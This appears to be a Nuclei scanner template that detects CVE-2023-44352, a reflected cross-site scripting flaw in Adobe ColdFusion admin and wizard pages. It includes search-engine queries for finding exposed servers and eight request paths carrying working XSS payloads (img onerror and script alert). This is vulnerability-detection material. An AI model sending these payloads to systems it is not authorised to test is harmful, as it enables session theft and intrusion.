id: CVE-2023-44352

info:
  name: Adobe Coldfusion - Cross-Site Scripting
  author: pwnwithlove
  severity: medium
  description: |
    Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through crafted URLs to execute code in victim browsers, potentially stealing ColdFusion administrator session cookies and gaining access to sensitive application configurations.
  remediation: |
    Update Adobe ColdFusion to version 2023.6 or 2021.12 or later that properly escapes URLs in the CFIDE administrator and wizards interfaces.
  reference:
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44352
    cwe-id: CWE-79
    epss-score: 0.78863
    epss-percentile: 0.99072
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 8
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe Coldfusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2023,coldfusion,adobe,xss,vuln,vkev
variables:
  string: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm'
      - '{{BaseURL}}//{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm'
      - '{{BaseURL}}/{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}//{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm'
      - '{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="/{{string}}"><img src=a onerror=alert(document.domain)>'
          - '"{{string}}"><script>alert(document.domain)</script>'
        condition: or

      - type: dsl
        dsl:
          - "contains(body, 'ColdFusion')"
          - "contains(header, 'text/html')"
        condition: and
# digest: 4a0a0047304502205d7364693a03ba7c44a1192b82fc3b10ab245ee54fa97ac97fae4d938da5c25e02210097dd8bf2bf416cc5748dd4afc2eabbc02932008a5a96ae8fd792d0e9efc7bf26:922c64590222798bb761d5b6d8e72950